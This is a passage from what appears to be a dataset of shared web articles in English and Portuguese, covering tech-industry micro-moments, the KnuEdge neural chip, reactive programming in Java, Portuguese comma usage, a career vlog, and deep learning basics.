brands share with Google). Google Now made it even more important for businesses to share their location data with Google in order to be found. Apple iOS 9 In 2015, Apple upped the stakes for predictive search with the launch of iOS 9 . With iOS 9, a simple swipe of your home screen results in Apple Spotlight search offering moment-based suggestions that change depending on the time of day. Apple suggests results for coffee near me in the morning, lunch near me in the afternoon and dinner near me in the evening. iOS 9 has increased Apple's importance as a critical data publisher for brands. Amazon Dash and Echo Amazon was embedding itself as a utility in its own day in 2015. On , Amazon rolled out the Dash button, which makes it possible for consumers to order products such as detergent on demand literally by pressing a smart button that you place in your home. One year later , Amazon had rolled out more than 100 buttons for major brands ranging from Tide to Red Bull. With the Dash button, Amazon has not only turned our homes into smart appliances, the online retailer has also engineered its own micro-moments in the home. Amazon has also created an incentive for customers to join its premium Prime program (Dash has been limited to customers who pay extra to join Prime). In July, Amazon made its Echo device widely available - thus beating Google with a voice-activated device that makes the home a more powerful hub for entertainment, utility and search through voice-activated commands. Months later, Amazon and Domino's partnered to make it possible to order a Domino's pizza using Echo . Facebook bots Facebook made a major bid for micro-moments by introducing bots to its Messenger platform in 2016. At the F8 conference, Mark Zuckerberg positioned bots as an easy way for consumers to order what they want from brands instantly via Messenger (sort of like having Dash buttons embedded in Facebook). He demonstrated a bot that makes it possible for you to order flowers without talking to a person. ""You never have to call 1-800-Flowers again,"" he said. With bots, Facebook wants to make the world's largest social network the platform for micro-moments to happen. Google ups the ante But Google does not intend to give up ground to anyone. On May 3, Google launched the Gboard keyboard , which turns your keyboard into a rich discovery tool. I've been actively using Gboard since Day One. Its appeal became evident from the first moment I tried it. I can use my iPhone to conduct searches for things to do and share the results with anyone without leaving my keyboard. I can also easily search emojis to send via text or email. Suddenly my iPhone has become a branded Google product. Gboard removes all the friction from searching and sharing - essentially turning something as prosaic as a keyboard into a more powerful discovery platform. And, oh, Gboard is also a slap in Apple's face: Suddenly my iPhone has become a branded Google product. Google I/O upped the ante for utility. During the Google I/O keynote, Google unveiled a number of products that are coming either this summer or fall: Google Assistant is a smart search utility that makes it possible for users to ask more open-ended questions and get more intelligent results, akin to Google Now, but smarter. For instance, using Google Assistant you can ask Google, ""I want to see that new movie directed by Jodie Foster. What is its name, and where is it playing nearby?"" Then after Google tells you where Jodie Foster's Money Monster is playing, you can build on the conversation. For instance, let's say that after you get information on Money Monster , you decide you want to see a more family oriented movie. You might tell Google Assistant, ""My plans for a babysitter fell through. I'm going to bring my kids to the movie tonight. What's playing nearby for my family?"" And Google Assistant will refine its answers with suggestions such as The Jungle Book instead of Money Monster , and then offer up a ticket-purchase screen. Google Assistant is all about context: providing intelligent answers based on your changing context. Allo is a smart messaging app that relies on Google Assistant to understand the context of symbols and images to help users communicate and perform complex tasks through messaging. For instance, Allo can use smart recognition and reasoning to help two people plan their dinner by sharing with each other a photo of linguine. The image of linguine can serve as the initial ""Where can we get Italian food tonight?"" Allo will not only serve up a card with suggestions of nearby restaurants, but also make it possible to use Open Table to book dinner - all without leaving Allo. As Allo demonstrates, Google Assistant is not just a feature, but the key to an ecosystem. Google Home (coming this fall) is a smart device that relies on Google Assistant to manage tasks in the home, play music and search for products and services as Amazon Echo does. Because Google home uses Google Assistant, a family can go beyond voice commands like ""Order Domino's pizza"" and instead ask ""Have any new pizza restaurants opened near me?"" as you plan what to do, where to go and what to buy. With Google Assistant, Google seeks to leapfrog voice-activated interfaces such as Siri and provide answers to more complicated questions - answers that change as your context changes. And with Google Assistant powering new products such as Google Home, Allo and Duo (a competitor to FaceTime that Google also announced at I/O), Google clearly wants to redefine utility as a smarter, more contextual experience in the post-digital world. Who will win? Amazon, Apple, Facebook and Google are all relying on utility and natural human gestures to steal consumers' attention from each other: Amazon with the press of a button, Apple with the swipe, Facebook with a click of a bot and Google with typing and texting. Why? Because the more they embed themselves into natural consumer behaviors, the more they become the go-to platform for businesses that want to win in micro-moments. At the same time, the big four are collecting valuable consumer data that they can use to serve up more relevant content to their users - based on searches, purchases, check-ins and social media activity. The big four all face challenges and questions. Will Gboard become the next Gmail or become another Google+? Will Google Assistant outperform Siri? Can Apple fight Google's encroachment as iPhone sales stagnate? Will Dash become another loss leader for Amazon? Is there enough of a critical mass of people who want to use Facebook to buy things in addition to posting their personal status updates? Ultimately, consumers will decide who wins based on who gives them the most utility. And the brands that form strong relationships with the big four (for instance, by sharing their location data with Apple, Facebook and Google) will position themselves to win micro-moments.",en
1465350642,CONTENT SHARED,6658257247913756761,-1032019229384696495,3621737643587579081,,,,HTML,http://venturebeat.com/2016/06/06/former-nasa-chief-unveils-100-million-neural-computing-chip-company-knuedge/,Former NASA chief unveils $100 million neural chip maker KnuEdge,"It's not all that easy to call KnuEdge a startup. Created a decade ago by Daniel Goldin, the former head of the National Aeronautics and Space Administration, KnuEdge is only now coming out of stealth mode. It has already raised $100 million in funding to build a ""neural chip"" that Goldin says will make data centers more efficient in a hyperscale age. Goldin, who founded the San Diego, California-based company with the former chief technology officer of NASA, said he believes the company's brain-like chip will be far more cost and power efficient than current chips based on the computer design popularized by computer architect John von Neumann . In von Neumann machines, memory and processor are separated and linked via a data pathway known as a bus. Over the years, von Neumann machines have gotten faster by sending more and more data at higher speeds across the bus as processor and memory interact. But the speed of a computer is often limited by the capacity of that bus, leading to what some computer scientists to call the ""von Neumann bottleneck."" IBM has seen the same problem , and it has a research team working on brain-like data center chips. Both efforts are part of an attempt to deal with the explosion of data driven by artificial intelligence and machine learning. Goldin's company is doing something similar to IBM, but only on the surface. Its approach is much different, and it has been secretly funded by unknown angel investors. And Goldin said in an interview with VentureBeat that the company has already generated $20 million in revenue and is actively engaged in hyperscale computing companies and Fortune 500 companies in the aerospace, banking, health care, hospitality, and insurance industries. The mission is a fundamental transformation of the computing world, Goldin said. ""It all started over a mission to Mars,"" Goldin said. Back in the year 2000, Goldin saw that the time delay for controlling a space vehicle would be too long, so the vehicle would have to operate itself. He calculated that a mission to Mars would take software that would push technology to the limit, with more than tens of millions of lines of code. ""I thought, holy smokes,"" he said. ""It's going to be too expensive. It's not propulsion. It's not environmental control. It's not power. This software business is a very big problem, and that nation couldn't afford it."" So Goldin looked further into the brains of the robotics, and that's when he started thinking about the computing it would take. Asked if it was easier to run NASA or a startup, Goldin let out a guffaw. ""I love them both, but they're both very different,"" Goldin said. ""At NASA, I spent a lot of time on non-technical issues. I had a project every quarter, and I didn't want to become dull technically. I tried to always take on a technical job doing architecture, working with a design team, and always doing something leading edge. I grew up at a time when you graduated from a university and went to work for someone else. If I ever come back to this earth, I would graduate and become an entrepreneur. This is so wonderful."" Back in 1992, Goldin was planning on starting a wireless company as an entrepreneur. But then he got the call to ""go serve the country,"" and he did that work for a decade. He started KnuEdge (previously called Intellisis) in 2005, and he got very patient capital. ""When I went out to find investors, I knew I couldn't use the conventional Silicon Valley approach (impatient capital),"" he said. ""It is a fabulous approach that has generated incredible wealth. But I wanted to undertake revolutionary technology development. To build the future tools for next-generation machine learning, improving the natural interface between humans and machines. So I got patient capital that wanted to see lightning strike. Between all of us, we have a board of directors that can contact almost anyone in the world. They're fabulous business people and technologists. We knew we had a ten-year run-up."" But he's not saying who those people are yet. KnuEdge's chips are part of a larger platform. KnuEdge is also unveiling KnuVerse, a military-grade voice recognition and authentication technology that unlocks the potential of voice interfaces to power next-generation computing, Goldin said. While the voice technology market has exploded over the past five years due to the introductions of Siri, Cortana, Google Home, Echo, and ViV, the aspirations of most commercial voice technology teams are still on hold because of security and noise issues. KnuVerse solutions are based on patented authentication techniques using the human voice - even in extremely noisy environments - as one of the most secure forms of biometrics. Secure voice recognition has applications in industries such as banking, entertainment, and hospitality. KnuEdge says it is now possible to authenticate to computers, web and mobile apps, and Internet of Things devices (or everyday objects that are smart and connected) with only a few words spoken into a microphone - in any language, no matter how loud the background environment or how many other people are talking nearby. In addition to KnuVerse, KnuEdge offers Knurld.io for application developers, a software development kit, and a cloud-based voice recognition and authentication service that can be integrated into an app typically within two hours. And KnuEdge is announcing KnuPath with LambdaFabric computing. KnuEdge's first chip, built with an older manufacturing technology, has 256 cores, or neuron-like brain cells, on a single chip. Each core is a tiny digital signal processor. The LambdaFabric makes it possible to instantly connect those cores to each other - a trick that helps overcome one of the major problems of multicore chips, Goldin said. The LambdaFabric is designed to connect up to 512,000 devices, enabling the system to be used in the most demanding computing environments. From rack to rack, the fabric has a latency (or interaction delay) of only 400 nanoseconds. And the whole system is designed to use a low amount of power. All of the company's designs are built on biological principles about how the brain gets a lot of computing work done with a small amount of power. The chip is based on what Goldin calls ""sparse matrix heterogeneous machine learning algorithms."" And it will run C++ software, something that is already very popular. Programmers can program each one of the cores with a different algorithm to run simultaneously, for the ""ultimate in heterogeneity."" It's multiple input, multiple data, and ""that gives us some of our power,"" Goldin said. ""KnuEdge is emerging out of stealth mode to aim its new Voice and Machine Learning technologies at key challenges in IoT, cloud based machine learning and pattern recognition,"" said Paul Teich, principal analyst at Tirias Research, in a statement. ""Dan Goldin used his experience in transforming technology to charter KnuEdge with a bold idea, with the patience of longer development timelines and away from typical startup hype and practices. The result is a new and cutting-edge path for neural computing acceleration. There is also a refreshing surprise element to KnuEdge announcing a relevant new architecture that is ready to ship... not just a concept or early prototype."" Today, Goldin said the company is ready to show off its designs. The first chip was ready last December, and KnuEdge is sharing it with potential customers. That chip was built with a 32-nanometer manufacturing process, and even though that's an older technology, it is a powerful chip, Goldin said. Even at 32 nanometers, the chip has something like a two-times to six-times performance advantage over similar chips, KnuEdge said. ""The human brain has a couple of hundred billion neurons, and each neuron is connected to at least 10,000 to 100,000 neurons,"" Goldin said. ""And the brain is the most energy efficient and powerful computer in the world. That is the metaphor we are using."" KnuEdge has a new version of its chip under design. And the company has already generated revenue from sales of the prototype systems. Each board has about four chips. As for the competition from IBM, Goldin said, ""I believe we made the right decision and are going in the right direction. IBM's approach is very different from what we have. We are not aiming at anyone. We are aiming at the future."" In his NASA days, Goldin had a lot of successes. There, he redesigned and delivered the International Space Station, tripled the number of space flights, and put a record number of people into space, all while reducing the agency's planned budget by 25 percent. He also spent 25 years at TRW, where he led the development of satellite television services. KnuEdge has 100 employees, but Goldin said the company outsources almost everything. Goldin said he is planning to raised a round of funding late this year or early next year. The company collaborated with the University of California at San Diego and UCSD's California Institute for Telecommunications and Information Technology. With computers that can handle natural language systems, many people in the world who can't read or write will be able to fend for themselves more easily, Goldin said. ""I want to be able to take machine learning and help people communicate and make a living,"" he said. ""This is just the beginning. This is the Wild West. We are talking to very large companies about this, and they are getting very excited."" A sample application is a home that has much greater self-awareness. If there's something wrong in the house, the KnuEdge system could analyze it and figure out if it needs to alert the homeowner. Goldin said it was hard to keep the company secret. ""I've been biting my lip for ten years,"" he said. As for whether KnuEdge's technology could be used to send people to Mars, Goldin said. ""This is available to whoever is going to Mars. I tried twice. I would love it if they use it to get there."" Get more stories like this on Twitter & Facebook",en
1465386296,CONTENT SHARED,-8864073373672512525,3609194402293569455,1143207167886864524,,,,HTML,http://www.startupsstars.com/2016/06/video-intraempreendedorismo-como-atitude-pelos-funcionarios-e-chefes/,Vídeo: IntraEmpreendedorismo como Atitude pelos Funcionários e Chefes!,"Oi gente! No vídeo de hoje, gravei sobre um tema que adoro muito: o IntraEmpreendedorismo. Nele, comento um pouco sobre essa postura que os funcionários de hoje em dia devem ter, para um possível crescimento dentro da empresa que trabalha. Porém, nem sempre a empresa consegue enxergar seus melhores funcionários, não aqueles que só mostram resultados, mas todos que defendem a marca com unhas e dentes... Os dois lados precisam estar bem alinhados para um crescimento geral. Meu canal no Youtube está crescendo muito e agradeço a todos vocês! Espero sugestões para o vídeo dessa semana. Inscrever-se no canal da Talita Compartilhem com seus funcionários ou chefes! Talita Lombardi Instagram Talita Lombardi Twitter: @talilombardi E-mail: talita@startupsstars.com Fan Page do Startups Stars Blog de Carreira Use Facebook to Comment on this Post",pt
1465386620,CONTENT SHARED,6521856301289868251,7645894863578715801,1174411516635136277,,,,HTML,https://spring.io/blog/2016/06/07/notes-on-reactive-programming-part-i-the-reactive-landscape,Notes on Reactive Programming Part I: The Reactive Landscape,"Reactive Programming is interesting (again) and there is a lot of noise about it at the moment, not all of which is very easy to understand for an outsider and simple enterprise Java developer. This article (the first in a series) might help to clarify your understanding of what the fuss is about. The approach is as concrete as possible, and there is no mention of ""denotational semantics"". If you are looking for a more academic approach and loads of code samples in Haskell, the internet is full of them, but you probably don't want to be here. Reactive Programming is often conflated with concurrent programming and high performance to such an extent that it's hard to separate those concepts, when actually they are in principle completely different. This inevitably leads to confusion. Reactive Programming is also often referred to as or conflated with Functional Reactive Programming, or FRP (and we use the two interchangeably here). Some people think Reactive is nothing new, and it's what they do all day anyway (mostly they use JavaScript). Others seem to think that it's a gift from Microsoft (who made a big splash about it when they released some C# extensions a while ago). In the Enterprise Java space there has been something of a buzz recently (e.g. see the Reactive Streams initiative ), and as with anything shiny and new, there are a lot of easy mistakes to make out there, about when and where it can and should be used. What Is It? Reactive Programming is a style of micro-architecture involving intelligent routing and consumption of events, all combining to change behaviour. That's a bit abstract, and so are many of the other definitions you will come across online. We attempt build up some more concrete notions of what it means to be reactive, or why it might be important in what follows. The origins of Reactive Programming can probably be traced to the 1970s or even earlier, so there's nothing new about the idea, but they are really resonating with something in the modern enterprise. This resonance has arrived (not accidentally) at the same time as the rise of microservices, and the ubiquity of multi-core processors. Some of the reasons for that will hopefully become clear. Here are some useful potted definitions from other sources: FRP has a strong affinity with high-performance, concurrency, asynchronous operations and non-blocking IO. However, it might be helpful to start with a suspicion that FRP has nothing to do with any of them. It is certainly the case that such concerns can be naturally handled, often transparently to the caller, when using a Reactive model. But the actual benefit, in terms of handling those concerns effectively or efficiently is entirely up to the implementation in question (and therefore should be subject to a high degree of scrutiny). It is also possible to implement a perfectly sane and useful FRP framework in a synchronous, single-threaded way, but that isn't really likely to be helpful in trying to use any of the new tools and libraries. Reactive Use Cases The hardest question to get an answer to as a newbie seems to be ""what is it good for?"" Here are some examples from an enterprise setting that illustrate general patterns of use: External Service Calls Many backend services these days are REST-ful (i.e. they operate over HTTP) so the underlying protocol is fundamentally blocking and synchronous. Not obvious territory for FRP maybe, but actually it's quite fertile ground because the implementation of such services often involves calling other services, and then yet more services depending on the results from the first calls. With so much IO going on if you were to wait for one call to complete before sending the next request, your poor client would give up in frustration before you managed to assemble a reply. So external service calls, especially complex orchestrations of dependencies between calls, are a good thing to optimize. FRP offers the promise of ""composability"" of the logic driving those operations, so that it is easier to write for the developer of the calling service. Highly Concurrent Message Consumers Message processing, in particular when it is highly concurrent, is a common enterprise use case. Reactive frameworks like to measure micro benchmarks, and brag about how many messages per second you can process in the JVM. The results are truly staggering (tens of millions of messages per second are easy to achieve), but possibly somewhat artificial - you wouldn't be so impressed if they said they were benchmarking a simple ""for"" loop. However, we should not be too quick to write off such work, and it's easy to see that when performance matters, all contributions should be gratefully accepted. Reactive patterns fit naturally with message processing (since an event translates nicely into a message), so if there is a way to process more messages faster we should pay attention. Spreadsheets Perhaps not really an enterprise use case, but one that everyone in the enterprise can easily relate to, and it nicely captures the philosophy of, and difficulty of implementing FRP. If cell B depends on cell A, and cell C depends on both cells A and B, then how do you propagate changes in A, ensuring that C is updated before any change events are sent to B? If you have a truly active framework to build on, then the answer is ""you don't care, you just declare the dependencies,"" and that is really the power of a spreadsheet in a nutshell. It also highlights the difference between FRP and simple event-driven programming - it puts the ""intelligent"" in ""intelligent routing"". Abstraction Over (A)synchronous Processing This is more of an abstract use case, so straying into the territory we should perhaps be avoiding. There is also some (a lot) of overlap between this and the more concrete use cases already mentioned, but hopefully it is still worth some discussion. The basic claim is a familiar (and justifiable) one, that as long as developers are willing to accept an extra layer of abstraction, they can forget about whether the code they are calling is synchronous or asynchronous. Since it costs precious brain cells to deal with asynchronous programming, there could be some useful ideas there. Reactive Programming is not the only approach to this issue, but some of the implementaters of FRP have thought hard enough about this problem that their tools are useful. Comparisons If you haven't been living in a cave since 1970 you will have come across some other concepts that are relevant to Reactive Programming and the kinds of problems people try and solve with it. Here are a few of them with my personal take on their relevance: Ruby Event-Machine The Event Machine is an abstraction over concurrent programming (usually involving non-blocking IO). Rubyists struggled for a long time to turn a language that was designed for single-threaded scripting into something that you could use to write a server application that a) worked, b) performed well, and c) stayed alive under load. Ruby has had threads for quite some time, but they aren't used much and have a bad reputation because they don't always perform very well. The alternative, which is ubiquitous now that it has been promoted (in Ruby 1.9) to the core of the language, is Fibers (sic). The Fiber programming model is sort of a flavour of coroutines (see below), where a single native thread is used to process large numbers of concurrent requests (usually involving IO). The programming model itself is a bit abstract and hard to reason about, so most people use a wrapper, and the Event Machine is the most common. Event Machine doesn't necessarily use Fibers (it abstracts those concerns), but it is easy to find examples of code using Event Machine with Fibers in Ruby web apps (e.g. see this article by Ilya Grigorik , or the fibered example from em-http-request ). People do this a lot to get the benefit of scalability that comes from using Event Machine in an I/O intensive application, without the ugly programming model that you get with lots of nested callbacks. Actor Model Similar to Object Oriented Programming, the Actor Model is a deep thread of Computer Science going back to the 1970s. Actors provide an abstraction over computation (as opposed to data and behaviour) that allows for concurrency as a natural consequence, so in practical terms they can form the basis of a concurrent system. Actors send each other messages, so they are reactive in some sense, and there is a lot of overlap between systems that style themselves as Actors or Reactive. Often the distinction is at the level of their implementation (e.g. Actors in Akka can be distributed across processes, and that is a distinguishing feature of that framework). Deferred results (Futures) Java 1.5 introduced a rich new set of libraries including Doug Lea's ""java.util.concurrent"", and part of that is the concept of a deferred result, encapsulated in a Future . It's a good example of a simple abstraction over an asynchronous pattern, without forcing the implementation to be asynchronous, or use any particular model of asynchronous processing. As the Netflix Tech Blog: Functional Reactive in the Netflix API with RxJava shows nicely, Futures are great when all you need is concurrent processing of a set of similar tasks, but as soon as any of them want to depend on each other or execute conditionally you get into a form of ""nested callback hell"". Reactive Programming provides an antidote to that. Map-reduce and fork-join Abstractions over parallel processing are useful and there are many examples to choose from. Map-reduce and fork-join that have evolved recently in the Java world, driven by massively parallel distributed processing ( MapReduce and Hadoop ) and by the JDK itself in version 1.7 ( Fork-Join ). These are useful abstractions but (like deferred results) they are shallow compared to FRP, which can be used as an abstraction over simple parallel processing, but which reaches beyond that into composability and declarative communication. Coroutines A ""coroutine"" is a generalization of a ""subroutine"" - it has an entry point, and exit point(s) like a subroutine, but when it exits it passes control to another coroutine (not necessarily to its caller), and whatever state it accumulated is kept and remembered for the next time it is called. Coroutines can be used as a building block for higher level features like Actors and Streams. One of the goals of Reactive Programming is to provide the same kind of abstraction over communicating parallel processing agents, so coroutines (if they are available) are a useful building block. There are various flavours of coroutines, some of which are more restrictive than the general case, but more flexible than vanilla subroutines. Fibers (see the discussion on Event Machine) are one flavour, and Generators (familiar in Scala and Python) are another. Reactive Programming in Java Java is not a ""reactive language"" in the sense that it doesn't support coroutines natively. There are other languages on the JVM (Scala and Clojure) that support reactive models more natively, but Java itself does not until version 9. Java, however, is a powerhouse of enterprise development, and there has been a lot of activity recently in providing Reactive layers on top of the JDK. We only take a very brief look at a few of them here. Reactive Streams is a very low level contract, expressed as a handful of Java interfaces (plus a TCK), but also applicable to other languages. The interfaces express the basic building blocks of Publisher and Subscriber with explicit back pressure, forming a common language for interoperable libraries. Reactive Streams have been incorporated into the JDK as java.util.concurrent.Flow in version 9. The project is a collaboration between engineers from Kaazing, Netflix, Pivotal, Red Hat, Twitter, Typesafe and many others. RxJava : Netflix were using reactive patterns internally for some time and then they released the tools they were using under an open source license as Netflix/RxJava (subsequently re-branded as ""ReactiveX/RxJava""). Netflix does a lot of programming in Groovy on top of RxJava, but it is open to Java usage and quite well suited to Java 8 through the use of Lambdas. There is a bridge to Reactive Streams . RxJava is a ""2nd Generation"" library according to David Karnok's Generations of Reactive classification. Reactor is a Java framework from the Pivotal open source team (the one that created Spring). It builds directly on Reactive Streams, so there is no need for a bridge. The Reactor IO project provides wrappers around low-level network runtimes like Netty and Aeron. Reactor is a ""4th Generation"" library according to David Karnok's Generations of Reactive classification. Spring Framework 5.0 (first milestone June 2016) has reactive features built into it, including tools for building HTTP servers and clients. Existing users of Spring in the web tier will find a very familiar programming model using annotations to decorate controller methods to handle HTTP requests, for the most part handing off the dispatching of reactive requests and back pressure concerns to the framework. Spring builds on Reactor, but also exposes APIs that allow its features to be expressed using a choice of libraries (e.g. Reactor or RxJava). Users can choose from Tomcat, Jetty, Netty (via Reactor IO) and Undertow for the server side network stack. Ratpack is a set of libraries for building high performance services over HTTP. It builds on Netty and implements Reactive Streams for interoperability (so you can use other Reactive Streams implementations higher up the stack, for instance). Spring is supported as a native component, and can be used to provide dependency injection using some simple utility classes. There is also some autoconfiguration so that Spring Boot users can embed Ratpack inside a Spring application, bringing up an HTTP endpoint and listening there instead of using one of the embedded servers supplied directly by Spring Boot. Akka is a toolkit for building applications using the Actor pattern in Scala or Java, with interprocess communication using Akka Streams, and Reactive Streams contracts are built in. Akka is a ""3rd Generation"" library according to David Karnok's Generations of Reactive classification. Why Now? What is driving the rise of Reactive in Enterprise Java? Well, it's not (all) just a technology fad - people jumping on the bandwagon with the shiny new toys. The driver is efficient resource utilization, or in other words, spending less money on servers and data centres. The promise of Reactive is that you can do more with less, specifically you can process higher loads with fewer threads. This is where the intersection of Reactive and non-blocking, asynchronous I/O comes to the foreground.For the right problem, the effects are dramatic. For the wrong problem, the effects might go into reverse (you actually make things worse). ALso remember, even if you pick the right problem, there is no such thing as a free lunch, and Reactive doesn't solve the problems for you, it just gives you a toolbox that you can use to implement solutions. Conclusion In this article we have taken a very broad and high level look at the Reactive movement, setting it in context in the modern enterprise. There are a number of Reactive libraries or frameworks for the JVM, all under active development. To a large extent they provide similar features, but increasingly, thanks to Reactive Streams, they are interoperable. In the next article in the series we will get down to brass tacks and have a look at some actual code samples, to get a better picture of the specifics of what it means to be Reactive and why it matters. We will also devote some time to understanding why the ""F"" in FRP is important, and how the concepts of back pressure and non-blocking code have a profound impact on programming style. And most importantly, we will help you to make the important decision about when and how to go Reactive, and when to stay put on the older styles and stacks. Please enable JavaScript to view the comments powered by Disqus. comments powered by",en
1465391541,CONTENT SHARED,-4507929853521434970,4417246933621591943,8225722623233977915,,,,HTML,http://portugues.uol.com.br/gramatica/o-uso-virgula-seus-pre-requisitos-.html,O uso da vírgula e seus pré-requisitos - Português,"A vírgula deve ser usada em diversas circunstâncias Caso quiséssemos atribuir o uso da vírgula a cada pausa retratada pelo falante, concluiríamos que nossa pretensão mostra-se aquém das reais possibilidades, fato esse decorrente das diferenças que se acentuam entre a fala e a escrita, visto que a riqueza melódica da oralidade não se compara com o convencionalismo da escrita. A linguagem oral, via de regra, torna-se mais isenta de postulados preestabelecidos, posto que se condiciona a traços individuais do próprio emissor, cabendo a ele atribuir as possíveis entonações no momento em que achar conveniente. Na linguagem escrita, em contrapartida, tais pretensões estão sujeitas a normas que, indiscutivelmente, precisam estar em consonância com nossos conhecimentos. Para tanto, seguem em evidência algumas considerações dignas de nota, as quais retratam os casos em que se materializa ou não o uso da vírgula. Circunstâncias em que usamos a vírgula: a) Para isolar topônimos (nomes próprios relacionados com um determinado lugar), seguidos de sua respectiva data. Exemplo: Maceió, 12 de fevereiro de 2009. b) Separar orações coordenadas assindéticas (isentas de conectivos que as liguem). Exemplo: Ao iniciar a reunião, todos se apresentaram, começaram a discutir os assuntos pertinentes e chegaram a um consenso muito antes do esperado. c) Separar orações coordenadas sindéticas iniciadas pelas conjunções adversativas, alternativas, conclusivas ou explicativas. Exemplos: * Precisava urgentemente se decidir, ou somente trabalhava, ou estudava. * A aluna preparou-se muito para as olimpíadas de Matemática, logo obteve a primeira colocação. * Não me sinto preparada para esta viagem, pois tive que decidir rapidamente. * Sinto-me honrada com suas desculpas, porém nossa amizade não será mais a mesma. d) Isolar expressões explicativas, corretivas ou continuativas representadas por: isto é, por exemplo, ou seja, aliás, entre outras. Exemplos: * A violência social é um fato grave, ou melhor, assustador. * Pretendo despachar os documentos em breve, isto é, na próxima semana. e) Separar apostos e vocativos em uma oração. Exemplos: * Marcos, traga seu certificado assim que puder, pois preciso entregá-lo ao Departamento de Pessoal. * Marta, irmã de Pedro, casou-se ontem. f) Separar um adjunto adverbial antecipado ou intercalado entre o discurso. Exemplos: * Naqueles tempos, havia uma maior interação entre as pessoas. * Sem que ninguém esperasse, repentinamente, ela apareceu. Não é recomendável o uso da vírgula quando o adjunto adverbial for um simples advérbio. Exemplo: Seu irmão nunca o considerou como um amigo verdadeiro. g) Isolar algumas orações intercaladas. Ex: Precisamos, pois, estarmos atentos a tudo que acontece. Quando a conjunção iniciar a oração, o uso da vírgula será dispensado. Exemplo: Gostaria de parabenizá-lo pelo desempenho, pois percebi seu esforço. h) Isolar um complemento pleonástico antecipado ao verbo. Ex.: Aos insensíveis |, por que não ignorá-los? O.D. pleonástico i) Indicar a supressão de um verbo subentendido na oração (recurso linguístico caracterizado pela elipse): Ex.: Grande parte dos alunos estava trajada de Country; Patrícia, de caipira. (A vírgula indica a supressão da locução verbal - estava trajada) j) Separar termos coordenados em uma oração. Ex: Aos domingos, reuniam-se todos os filhos, genros, noras, netos e bisnetos para uma agradável confraternização familiar. l) Separar orações subordinadas adjetivas explicativas. Ex: Santos Dumont, que é considerado o pai da aviação, foi o inventor do 14 Bis. m) Separar orações adverbiais (desenvolvidas ou reduzidas), sobretudo, quando estas se antepuserem à oração principal. Exemplos: * Ao chegar em casa, percebi sua apreensão. * Caso queira conversar comigo, avise-me antecipadamente. Casos em que não se recomenda o uso da vírgula: Não se usa a vírgula para separar termos que, do ponto de vista sintático, estabelecem diretamente uma ligação entre si. Eis as seguintes ocorrências: a) Para separar sujeito do predicado. Ex: Os alunos| estão todos eufóricos à espera dos resultados. Sujeito Predicado b) Entre o verbo e seus complementos (objeto direto e indireto), mesmo que o objeto indireto se anteponha ao objeto direto. Ex: Entreguei | aos clientes | os pedidos. O. Indireto | O. Direto. c) Entre o nome e o adjunto adnominal ou o complemento nominal. Exemplos: * Seu relógio de pulso foi apreciado por todos. Adjunto Adnominal * Você tem amor à profissão. Complemento Nominal d) Entre a oração subordinada substantiva e a principal. Ex: Seu desejo| era que todos o visitassem. Or. principal | oração subordinada substantiva predicativa.",pt
1465394141,CONTENT SHARED,4306804750094230211,-1443636648652872475,-5844499583089646160,,,,HTML,https://github.com/rasbt/python-machine-learning-book/blob/master/faq/difference-deep-and-normal-learning.md,rasbt/python-machine-learning-book,"That's an interesting question, and I try to answer this in a very general way. The tl;dr version of this is: Deep learning is essentially a set of techniques that help us to parameterize deep neural network structures, neural networks with many, many layers and parameters. And if we are interested, a more concrete example: Let's start with multi-layer perceptrons (MLPs) ... On a tangent: The term ""perceptron"" in MLPs may be a bit confusing since we don't really want only linear neurons in our network. Using MLPs, we want to learn complex functions to solve non-linear problems. Thus, our network is conventionally composed of one or multiple ""hidden"" layers that connect the input and output layer. Those hidden layers normally have some sort of sigmoid activation function (log-sigmoid or the hyperbolic tangent etc.). For example, think of a log-sigmoid unit in our network as a logistic regression unit that returns continuous values outputs in the range 0-1. A simple MLP could look like this where y_hat is the final class label that we return as the prediction based on the inputs (x) if this are classification tasks. The ""a""s are our activated neurons and the ""w""s are the weight coefficients. Now, if we add multiple hidden layers to this MLP, we'd also call the network ""deep."" The problem with such ""deep"" networks is that it becomes tougher and tougher to learn ""good"" weights for this network. When we start training our network, we typically assign random values as initial weights, which can be terribly off from the ""optimal"" solution we want to find. During training, we then use the popular backpropagation algorithm (think of it as reverse-mode auto-differentiation) to propagate the ""errors"" from right to left and calculate the partial derivatives with respect to each weight to take a step into the opposite direction of the cost (or ""error"") gradient. Now, the problem with deep neural networks is the so-called ""vanishing gradient"" -- the more layers we add, the harder it becomes to ""update"" our weights because the signal becomes weaker and weaker. Since our network's weights can be terribly off in the beginning (random initialization) it can become almost impossible to parameterize a ""deep"" neural network with backpropagation. Deep Learning Now, this is where ""deep learning"" comes into play. Roughly speaking, we can think of deep learning as ""clever"" tricks or algorithms that can help us with the training of such ""deep"" neural network structures. There are many, many different neural network architectures, but to continue with the example of the MLP, let me introduce the idea of convolutional neural networks (ConvNets). We can think of those as an ""add-on"" to our MLP that helps we to detect features as ""good"" inputs for our MLP. In applications of ""usual"" machine learning, there is typically a strong focus on the feature engineering part; the model learned by an algorithm can only be so good as its input data. Of course, there must be sufficient discriminatory information in our dataset, however, the performance of machine learning algorithms can suffer substantially when the information is buried in meaningless features. The goal behind deep learning is to automatically learn the features from (somewhat) noisy data; it's about algorithms that do the feature engineering for us to provide deep neural network structures with meaningful information so that it can learn more effectively. We can think of deep learning as algorithms for automatic ""feature engineering,"" or we could simply call them ""feature detectors,"" which help us to overcome the vanishing gradient challenge and facilitate the learning in neural networks with many layers. Let's consider a ConvNet in context of image classification. Here, we use so-called ""receptive fields"" (think of them as ""windows"") that slide over our image. We then connect those ""receptive fields"" (for example of the size of 5x5 pixel) with 1 unit in the next layer, this is the so-called ""feature map."" After this mapping, we have constructed a so-called convolutional layer. Note that our feature detectors are basically replicates of one another -- they share the same weights. The idea is that if a feature detector is useful in one part of the imagine it is likely that it is useful somewhere else, but at the same time it allows each patch of image to be represented in several ways. Next, we have a ""pooling"" layer, where we reduce neighboring features from our feature map into single units (by taking the max feature or by averaging them, for example). We do this over many rounds and eventually arrive at an almost scale invariant representation of our image (the exact term is ""equivariant""). This is very powerful since we can detect objects in an image no matter where they are located. In essence, the ""convolutional"" add-on that acts as a feature extractor or filter to our MLP. Via the convolutional layers we aim to extract the useful features from the images, and via the pooling layers, we aim to make the features somewhat equivariant to scale and translation.",en
